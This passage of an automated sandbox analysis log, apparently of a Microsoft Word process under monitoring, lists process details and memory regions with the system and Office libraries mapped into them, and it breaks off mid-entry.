# Flog Txt Version 1 # Analyzer Version: 2.2.0 # Analyzer Build Date: Oct 17 2017 16:08:19 # Log Creation Date: 28.11.2017 18:17:48.553 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe" page_root = "0x578d1000" os_pid = "0x9d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 133 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 134 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 135 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 136 start_va = 0x40000 end_va = 0x43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 137 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 138 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 139 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 140 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 141 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 142 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 143 start_va = 0x200000 end_va = 0x206fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 144 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 145 start_va = 0x310000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 146 start_va = 0x410000 end_va = 0x411fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 147 start_va = 0x420000 end_va = 0x420fff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 148 start_va = 0x430000 end_va = 0x430fff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 149 start_va = 0x440000 end_va = 0x441fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 150 start_va = 0x450000 end_va = 0x451fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 151 start_va = 0x460000 end_va = 0x462fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 152 start_va = 0x470000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 153 start_va = 0x480000 end_va = 0x607fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 154 start_va = 0x610000 end_va = 0x790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 155 start_va = 0x7a0000 end_va = 0x1b9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 156 start_va = 0x1ba0000 end_va = 0x1e6efff entry_point = 0x1ba0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 157 start_va = 0x1e70000 end_va = 0x2262fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 158 start_va = 0x2270000 end_va = 0x236ffff entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 159 start_va = 0x2370000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 160 start_va = 0x2380000 end_va = 0x2382fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002380000" filename = "" Region: id = 161 start_va = 0x2390000 end_va = 0x2392fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002390000" filename = "" Region: id = 162 start_va = 0x23a0000 end_va = 0x23a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 163 start_va = 0x23b0000 end_va = 0x23b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023b0000" filename = "" Region: id = 164 start_va = 0x23c0000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 165 start_va = 0x2410000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 166 start_va = 0x2420000 end_va = 0x2421fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002420000" filename = "" Region: id = 167 start_va = 0x2470000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 168 start_va = 0x24f0000 end_va = 0x25cefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 169 start_va = 0x25d0000 end_va = 0x268ffff entry_point = 0x25d0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 170 start_va = 0x2690000 end_va = 0x278ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 171 start_va = 0x2830000 end_va = 0x2830fff entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 172 start_va = 0x2840000 end_va = 0x2844fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002840000" filename = "" Region: id = 173 start_va = 0x2850000 end_va = 0x2850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002850000" filename = "" Region: id = 174 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002860000" filename = "" Region: id = 175 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 176 start_va = 0x2880000 end_va = 0x2881fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 177 start_va = 0x2890000 end_va = 0x2890fff entry_point = 0x2890000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 178 start_va = 0x28a0000 end_va = 0x28affff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 179 start_va = 0x28b0000 end_va = 0x28e5fff entry_point = 0x28b0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 180 start_va = 0x28f0000 end_va = 0x29effff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 181 start_va = 0x29f0000 end_va = 0x2a14fff entry_point = 0x29f0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db") Region: id = 182 start_va = 0x2a20000 end_va = 0x2b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 183 start_va = 0x2b20000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 184 start_va = 0x2d20000 end_va = 0x2d20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d20000" filename = "" Region: id = 185 start_va = 0x2d30000 end_va = 0x2d31fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d30000" filename = "" Region: id = 186 start_va = 0x2d40000 end_va = 0x2d40fff entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 187 start_va = 0x2d50000 end_va = 0x2d60fff entry_point = 0x2d50000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 188 start_va = 0x2d70000 end_va = 0x2deffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 189 start_va = 0x2df0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 190 start_va = 0x2e10000 end_va = 0x2e14fff entry_point = 0x2e10000 region_type = mapped_file name = "onbttnwd.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnWD.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onbttnwd.dll") Region: id = 191 start_va = 0x2e20000 end_va = 0x2e3efff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 192 start_va = 0x2e40000 end_va = 0x2e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 193 start_va = 0x2e60000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 194 start_va = 0x2f60000 end_va = 0x2f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 195 start_va = 0x2f80000 end_va = 0x2f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f80000" filename = "" Region: id = 196 start_va = 0x2fa0000 end_va = 0x2fa3fff entry_point = 0x2fa0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 197 start_va = 0x2fc0000 end_va = 0x30bffff entry_point = 0x0 region_type = private name = "private_0x0000000002fc0000" filename = "" Region: id = 198 start_va = 0x30e0000 end_va = 0x31dffff entry_point = 0x0 region_type = private name = "private_0x00000000030e0000" filename = "" Region: id = 199 start_va = 0x31e0000 end_va = 0x325efff entry_point = 0x31e0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 200 start_va = 0x3270000 end_va = 0x327ffff entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 201 start_va = 0x32a0000 end_va = 0x339ffff entry_point = 0x0 region_type = private name = "private_0x00000000032a0000" filename = "" Region: id = 202 start_va = 0x33a0000 end_va = 0x379ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000033a0000" filename = "" Region: id = 203 start_va = 0x37a0000 end_va = 0x40cffff entry_point = 0x37a0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 204 start_va = 0x41a0000 end_va = 0x429ffff entry_point = 0x0 region_type = private name = "private_0x00000000041a0000" filename = "" Region: id = 205 start_va = 0x4370000 end_va = 0x437ffff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 206 start_va = 0x4380000 end_va = 0x447ffff entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 207 start_va = 0x4480000 end_va = 0x457ffff entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 208 start_va = 0x45a0000 end_va = 0x45affff entry_point = 0x0 region_type = private name = "private_0x00000000045a0000" filename = "" Region: id = 209 start_va = 0x4660000 end_va = 0x46dffff entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 210 start_va = 0x46e0000 end_va = 0x4edffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046e0000" filename = "" Region: id = 211 start_va = 0x4f40000 end_va = 0x4fbffff entry_point = 0x0 region_type = private name = "private_0x0000000004f40000" filename = "" Region: id = 212 start_va = 0x4ff0000 end_va = 0x50effff entry_point = 0x0 region_type = private name = "private_0x0000000004ff0000" filename = "" Region: id = 213 start_va = 0x51c0000 end_va = 0x52bffff entry_point = 0x0 region_type = private name = "private_0x00000000051c0000" filename = "" Region: id = 214 start_va = 0x52c0000 end_va = 0x56bffff entry_point = 0x0 region_type = private name = "private_0x00000000052c0000" filename = "" Region: id = 215 start_va = 0x56e0000 end_va = 0x57dffff entry_point = 0x0 region_type = private name = "private_0x00000000056e0000" filename = "" Region: id = 216 start_va = 0x57e0000 end_va = 0x67dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000057e0000" filename = "" Region: id = 217 start_va = 0x6990000 end_va = 0x6a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006990000" filename = "" Region: id = 218 start_va = 0x6a10000 end_va = 0x6b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006a10000" filename = "" Region: id = 219 start_va = 0x6b70000 end_va = 0x6beffff entry_point = 0x0 region_type = private name = "private_0x0000000006b70000" filename = "" Region: id = 220 start_va = 0x6bf0000 end_va = 0x6feffff entry_point = 0x0 region_type = private name = "private_0x0000000006bf0000" filename = "" Region: id = 221 start_va = 0x7000000 end_va = 0x70fffff entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 222 start_va = 0x7270000 end_va = 0x72effff entry_point = 0x0 region_type = private name = "private_0x0000000007270000" filename = "" Region: id = 223 start_va = 0x72f0000 end_va = 0x7aeffff entry_point = 0x0 region_type = private name = "private_0x00000000072f0000" filename = "" Region: id = 224 start_va = 0x7af0000 end_va = 0x7ef0fff entry_point = 0x0 region_type = private name = "private_0x0000000007af0000" filename = "" Region: id = 225 start_va = 0x7f00000 end_va = 0x8300fff entry_point = 0x0 region_type = private name = "private_0x0000000007f00000" filename = "" Region: id = 226 start_va = 0x8310000 end_va = 0x8710fff entry_point = 0x0 region_type = private name = "private_0x0000000008310000" filename = "" Region: id = 227 start_va = 0x8720000 end_va = 0x891ffff entry_point = 0x0 region_type = private name = "private_0x0000000008720000" filename = "" Region: id = 228 start_va = 0x8920000 end_va = 0x8ddffff entry_point = 0x0 region_type = private name = "private_0x0000000008920000" filename = "" Region: id = 229 start_va = 0x8de0000 end_va = 0x91dffff entry_point = 0x0 region_type = private name = "private_0x0000000008de0000" filename = "" Region: id = 230 start_va = 0x36e80000 end_va = 0x36e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000036e80000" filename = "" Region: id = 231 start_va = 0x6fff0000 end_va = 0x6fffffff entry_point = 0x0 region_type = private name = "private_0x000000006fff0000" filename = "" Region: id = 232 start_va = 0x74490000 end_va = 0x744c2fff entry_point = 0x74490000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 233 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x76e70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 234 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x76f70000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 235 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 236 start_va = 0x77260000 end_va = 0x77266fff entry_point = 0x77260000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 237 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 238 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 239 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 240 start_va = 0x13ffb0000 end_va = 0x14018afff entry_point = 0x13ffb0000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe") Region: id = 241 start_va = 0x7febe960000 end_va = 0x7febe96ffff entry_point = 0x0 region_type = private name = "private_0x000007febe960000" filename = "" Region: id = 242 start_va = 0x7fee3a20000 end_va = 0x7fee3a59fff entry_point = 0x7fee3a2a5b8 region_type = mapped_file name = "onbttnwd.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnWD.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onbttnwd.dll") Region: id = 243 start_va = 0x7fee3a60000 end_va = 0x7fee4558fff entry_point = 0x7fee3a60000 region_type = mapped_file name = "chart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll") Region: id = 244 start_va = 0x7fee4560000 end_va = 0x7fee4782fff entry_point = 0x7fee4560000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll") Region: id = 245 start_va = 0x7fee48c0000 end_va = 0x7fee4958fff entry_point = 0x7fee48c0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 246 start_va = 0x7fee49d0000 end_va = 0x7fee4b4dfff entry_point = 0x7fee49d0000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 247 start_va = 0x7fee4b50000 end_va = 0x7fee4d1ffff entry_point = 0x7fee4b50000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 248 start_va = 0x7fee4d20000 end_va = 0x7fee4e8ffff entry_point = 0x7fee4d20000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll") Region: id = 249 start_va = 0x7fee4e90000 end_va = 0x7fee500afff entry_point = 0x7fee4e90000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 250 start_va = 0x7fee5010000 end_va = 0x7fee50cbfff entry_point = 0x7fee5010000 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll") Region: id = 251 start_va = 0x7fee50d0000 end_va = 0x7fee9f0efff entry_point = 0x7fee50d0000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll") Region: id = 252 start_va = 0x7fee9f10000 end_va = 0x7feea830fff entry_point = 0x7fee9f10000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll") Region: id = 253 start_va = 0x7feea840000 end_va = 0x7feeab47fff entry_point = 0x7feea840000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll") Region: id = 254 start_va = 0x7feeab50000 end_va = 0x7feebe2bfff entry_point = 0x7feeab50000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 255 start_va = 0x7feebe30000 end_va = 0x7feec5fbfff entry_point = 0x7feebe30000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 256 start_va = 0x7feec600000 end_va = 0x7feeceeafff entry_point = 0x7feec600000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 257 start_va = 0x7feecef0000 end_va = 0x7feed367fff entry_point = 0x7feecef0000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 258 start_va = 0x7feed370000 end_va = 0x7feed673fff entry_point = 0x7feed370000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 259 start_va = 0x7feed680000 end_va = 0x7feee7ebfff entry_point = 0x7feed680000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll") Region: id = 260 start_va = 0x7feee7f0000 end_va = 0x7feee8b5fff entry_point = 0x7feee7f0000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 261 start_va = 0x7feee8c0000 end_va = 0x7fef0c5efff entry_point = 0x7feee8c0000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wwlib.dll") Region: id = 262 start_va = 0x7fef1100000 end_va = 0x7fef116efff entry_point = 0x7fef1100000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 263 start_va = 0x7fef1170000 end_va = 0x7fef1196fff entry_point = 0x7fef1170000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 264 start_va = 0x7fef11a0000 end_va = 0x7fef11dafff entry_point = 0x7fef11a0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 265 start_va = 0x7fef3780000 end_va = 0x7fef378bfff entry_point = 0x7fef3780000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 266 start_va = 0x7fef3bb0000 end_va = 0x7fef3bb2fff entry_point = 0x7fef3bb0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-file-l1-2-0.dll") Region: id = 267 start_va = 0x7fef3bc0000 end_va = 0x7fef3bc2fff entry_point = 0x7fef3bc0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 268 start_va = 0x7fef3d90000 end_va = 0x7fef3d92fff entry_point = 0x7fef3d90000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 269 start_va = 0x7fef3da0000 end_va = 0x7fef3da2fff entry_point = 0x7fef3da0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 270 start_va = 0x7fef3db0000 end_va = 0x7fef3db2fff entry_point = 0x7fef3db0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-file-l2-1-0.dll") Region: id = 271 start_va = 0x7fef3dc0000 end_va = 0x7fef3dc2fff entry_point = 0x7fef3dc0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 272 start_va = 0x7fef3dd0000 end_va = 0x7fef3ec1fff entry_point = 0x7fef3dd0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucrtbase.dll") Region: id = 273 start_va = 0x7fef3ed0000 end_va = 0x7fef3ed6fff entry_point = 0x7fef3ed0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 274 start_va = 0x7fef3ee0000 end_va = 0x7fef4008fff entry_point = 0x7fef3ee0000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 275 start_va = 0x7fef4010000 end_va = 0x7fef4089fff entry_point = 0x7fef4010000 region_type = mapped_file name = "appvisvstream64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll") Region: id = 276 start_va = 0x7fef4090000 end_va = 0x7fef42c5fff entry_point = 0x7fef4090000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: 